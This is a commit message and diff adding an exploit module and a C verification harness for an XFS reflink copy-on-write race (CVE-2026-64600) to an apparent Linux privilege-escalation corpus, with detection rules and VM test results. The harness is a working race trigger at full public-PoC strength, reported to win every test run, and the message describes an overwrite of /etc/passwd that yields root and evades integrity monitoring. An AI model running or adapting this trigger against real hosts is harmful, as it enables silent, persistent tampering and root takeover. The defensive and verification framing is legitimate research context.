modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race)

Adds the corpus's first XFS module and its first data-oriented kernel bug —
every other kernel entry corrupts memory; this one corrupts file contents.

xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK,
then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log
space. On reacquiring it, the code re-queries the refcount btree at the
ORIGINAL imap->br_startblock and never re-reads the data fork. A second
O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that
window, so the first writer's stale mapping sees refcount 1, treats a
still-shared block as private, and writes to it in place — landing its data
on the reflink source file's on-disk blocks.

The primitive is an arbitrary overwrite of the on-disk contents of any
readable file, which has three consequences that drive the design:
  - No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp
    are all irrelevant.
  - The victim's inode is never written, so mtime/ctime/size never change
    and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it.
  - The change persists across reboots.

Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4,
merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is
distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server
>= 31 and Amazon Linux 2023 ship XFS+reflink by default.

detect() is not a pure version gate — reachability here is safely
observable, so it pairs the backport table with a real storage precondition
(writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful
FICLONE since btrfs implements that too and is unaffected). --active
confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides.
On rpm-family hosts it warns that vendors backport without bumping the
upstream version, so the verdict speaks only to the upstream base.

exploit() forks a child that works only in a private mkdtemp scratch dir on
two files it owns: it establishes a shared extent (FICLONE, corroborated by
FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded
8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back
with O_DIRECT. Deliberately under-driven, and it never clones or targets a
file it does not own — the /etc/passwd overwrite -> su -> root step is
documented but NOT bundled. Always returns EXPLOIT_FAIL.

Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race
corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so
there is no oops/KASAN/panic path.

Detection inverts the usual advice. auditd/sigma anchor on ioctl request
0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the
cross-uid reflink condition; and the yara rule is genuinely the right tool
here, matching the on-disk artifact because FIM is structurally blind.

VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking
the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 /
5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout
with no provisioner changes (root is XFS with reflink=1 out of the box).
detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A
observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned,
clean build on el9 gcc. The underlying bug was separately confirmed winnable
on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's
parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence
after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in
its 2s budget on that same vulnerable kernel — intended behaviour, and
exactly why a non-win must never be read as "patched".

14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14.

Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical
advisory credits model-assisted kernel analysis performed with Anthropic),
and the upstream XFS maintainers who fixed it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y

tools/verify-vm/refluxfs_verify.c

@@ -0,0 +1,155 @@
+/*
+ * refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600.
+ *
+ * NOT part of SKELETONKEY. This exists to answer one question that the
+ * shipped module deliberately refuses to answer: is THIS kernel actually
+ * vulnerable? The shipped trigger is intentionally under-driven (8 writers /
+ * 2 helpers / 2s) so it never grinds toward a win on a production box. Here,
+ * inside a throwaway VM, we drive it at the public PoC's parameters
+ * (32 writers / 8 helpers) for a real time budget.
+ *
+ * It is still confined to files THIS USER OWNS in a private scratch dir. It
+ * does not clone, read, or touch /etc/passwd or any other file we do not own.
+ * A win corrupts 4 KiB of our own donor file and nothing else.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <time.h>
+#include <sched.h>
+#include <pthread.h>
+#include <stdatomic.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+
+#define BLK          4096u
+#define ALIGN        4096u
+#define DONOR_BYTE   0x5a
+#define ATTACK_BYTE  0x41
+
+#ifndef FICLONE
+#define FICLONE _IOW(0x94, 9, int)
+#endif
+
+static int WRITERS = 32;   /* public PoC parameter */
+static int HELPERS = 8;    /* public PoC parameter */
+static int BUDGET  = 60;   /* seconds */
+
+static char donor[1024], clonep[1024];
+static atomic_int gate, stop;
+
+static void *writer_fn(void *a)
+{
+    (void)a;
+    int fd = open(clonep, O_RDWR | O_DIRECT);
+    if (fd < 0) return NULL;
+    void *buf = NULL;
+    if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; }
+    memset(buf, ATTACK_BYTE, BLK);
+    while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
+    (void)!pwrite(fd, buf, BLK, 0);
+    free(buf); close(fd);
+    return NULL;
+}
+
+static void *helper_fn(void *a)
+{
+    (void)a;
+    int fd = open(clonep, O_RDWR);
+    if (fd < 0) return NULL;
+    while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
+    while (!atomic_load_explicit(&stop, memory_order_acquire)) {
+        (void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd);
+        (void)!ftruncate(fd, (off_t)BLK);     (void)fdatasync(fd);
+    }
+    close(fd);
+    return NULL;
+}
+
+static int build_pair(void)
+{
+    int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600);
+    if (dfd < 0) return -1;
+    void *buf = NULL;
+    if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; }
+    memset(buf, DONOR_BYTE, BLK);
+    ssize_t w = pwrite(dfd, buf, BLK, 0);
+    free(buf);
+    if (w != (ssize_t)BLK) { close(dfd); return -1; }
+    (void)fsync(dfd);
+
+    int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600);
+    if (cfd < 0) { close(dfd); return -1; }
+    int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1;
+    (void)fsync(cfd);
+    close(cfd); close(dfd);
+    return rc;
+}
+
+/* O_DIRECT read: the corruption lands under the inode, so a buffered read
+ * would be served from a stale (correct-looking) page and hide a win. */
+static int donor_diverged(void)
+{
+    int fd = open(donor, O_RDONLY | O_DIRECT);
+    if (fd < 0) return -1;
+    void *buf = NULL;
+    if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; }
+    int rc = -1;
+    if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) {
+        const unsigned char *p = buf;
+        rc = 0;
+        for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; }
+    }
+    free(buf); close(fd);
+    return rc;
+}
+
+int main(int argc, char **argv)
+{
+    const char *dir = argc > 1 ? argv[1] : "/var/tmp";
+    if (argc > 2) BUDGET = atoi(argv[2]);
+
+    char scratch[1024];
+    snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir);
+    if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; }
+    snprintf(donor,  sizeof donor,  "%s/donor", scratch);
+    snprintf(clonep, sizeof clonep, "%s/clone", scratch);
+
+    printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n",
+           WRITERS, HELPERS, BUDGET, scratch);
+
+    pthread_t *w = calloc(WRITERS, sizeof *w);
+    pthread_t *h = calloc(HELPERS, sizeof *h);
+    int won = 0; long rounds = 0;
+    time_t deadline = time(NULL) + BUDGET;
+
+    while (time(NULL) < deadline && !won) {
+        if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; }
+        atomic_store(&gate, 0); atomic_store(&stop, 0);
+
+        int nw = 0, nh = 0;
+        for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++;
+        for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++;
+        usleep(1500);
+        atomic_store(&gate, 1);
+        for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
+        atomic_store(&stop, 1);
+        for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
+
+        rounds++;
+        if (donor_diverged() == 1) won = 1;
+        if ((rounds % 200) == 0) { printf("    ... %ld rounds\n", rounds); fflush(stdout); }
+    }
+
+    printf("%s after %ld rounds\n",
+           won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block"
+               : "[i] no divergence observed", rounds);
+
+    unlink(donor); unlink(clonep); rmdir(scratch);
+    free(w); free(h);
+    return won ? 2 : 0;
+}

tools/verify-vm/targets.yaml

@@ -334,6 +334,16 @@ bad_epoll:
   expect_detect: VULNERABLE
   notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
 
+# ── refluxfs (CVE-2026-64600) addition ──────────────────────────────
+
+refluxfs:
+  box: rocky9-genericcloud          # NOT a Vagrant box — Rocky-9-GenericCloud-Base.latest.x86_64.qcow2 booted under qemu/KVM
+  kernel_pkg: ""                    # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
+  kernel_version: "5.14.0"
+  expect_detect: VULNERABLE
+  verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
+  notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
+
 # ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
 
 ghostlock: